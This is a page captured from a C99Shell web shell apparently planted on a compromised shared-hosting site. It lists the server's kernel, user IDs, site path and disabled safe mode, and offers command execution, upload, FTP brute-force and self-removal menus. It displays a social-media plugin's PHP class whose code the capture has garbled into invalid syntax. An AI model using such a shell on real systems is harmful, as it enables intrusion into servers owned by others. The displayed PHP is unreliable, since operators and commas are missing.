!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/phbcoop.com/vendor/rs-plugin/php/twitter/   drwxr-xr-x
Free 235.69 GB of 981.82 GB (24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-twitter.php (3.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
include 'RestApi.php';
/**
 * Twitter
 *
 * with help of the API this class delivers all kind of tweeted images from twitter
 *
 * @package    socialstreams
 * @subpackage socialstreams/twitter
 * @author     ThemePunch <info@themepunch.com>
 */

class TP_twitter {

  
/**
   * Consumer Key
   *
   * @since    1.0.0
   * @access   private
   * @var      string    $consumer_key    Consumer Key
   */
  
private $consumer_key;

  
/**
   * Consumer Secret
   *
   * @since    1.0.0
   * @access   private
   * @var      string    $consumer_secret    Consumer Secret
   */
  
private $consumer_secret;

  
/**
   * Access Token
   *
   * @since    1.0.0
   * @access   private
   * @var      string    $access_token    Access Token
   */
  
private $access_token;

  
/**
   * Access Token Secret
   *
   * @since    1.0.0
   * @access   private
   * @var      string    $access_token_secret    Access Token Secret
   */
  
private $access_token_secret;

  
/**
   * Initialize the class and set its properties.
   *
   * @since    1.0.0
   * @param      string    $api_key flickr API key.
   */
  
public function __construct($consumer_key,$consumer_secret,$access_token,$access_token_secret) {
    
$this->consumer_key         =   $consumer_key;
    
$this->consumer_secret      =   $consumer_secret;
    
$this->access_token         =   $access_token;
    
$this->access_token_secret  =   $access_token_secret;
  }

  
/**
   * Get Tweets
   *
   * @since    1.0.0
   * @param    string    $twitter_account   Twitter account without trailing @ char
   */
  
public function get_public_photos($twitter_account){
    
$twitter = new \TwitterPhp\RestApi($this->consumer_key,$this->consumer_secret,$this->access_token,$this->access_token_secret);
    
/*
     * Connect as application
     * https://dev.twitter.com/docs/auth/application-only-auth
     */
    
$connection $twitter->connectAsApplication();

    
/*
     * Collection of the most recent Tweets posted by the user indicated by the screen_name, without replies
     * https://dev.twitter.com/docs/api/1.1/get/statuses/user_timeline
     */
    
$tweets $connection->get('/statuses/user_timeline',array('screen_name' => $twitter_account,  'entities' => 1'trim_user' => 'exclude_replies' => 'true'));
    
//var_dump($tweets);
    
return $tweets;
  }


  
/**
   * Find Key in array and return value (multidim array possible)
   *
   * @since    1.0.0
   * @param    string    $key   Needle
   * @param    array     $form  Haystack
   */
  
public static function array_find_element_by_key($key$form) {
      if (
array_key_exists($key$form)) {
        
$ret =& $form[$key];
        return 
$ret;
      }
      foreach (
$form as $k => $v) {
        if (
is_array($v)) {
          
$ret =TP_twitter::array_find_element_by_key($key$form[$k]);
          if (
$ret) {
            return 
$ret;
          }
        }
      }
      return 
FALSE;
  }

  
/**
   * Prepare output array $stream
   *
   * @since    1.0.0
   * @param    string    $tweets  Twitter Output Data
   */
  
public static function makeClickableLinks($s) {
    return 
preg_replace('@(https?://([-\w\.]+[-\w])+(:\d+)?(/([\w/_\.#-]*(\?\S+)?[^\.\s])?)?)@''<a href="$1" target="_blank">$1</a>'$s);
  }
  
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0153 ]--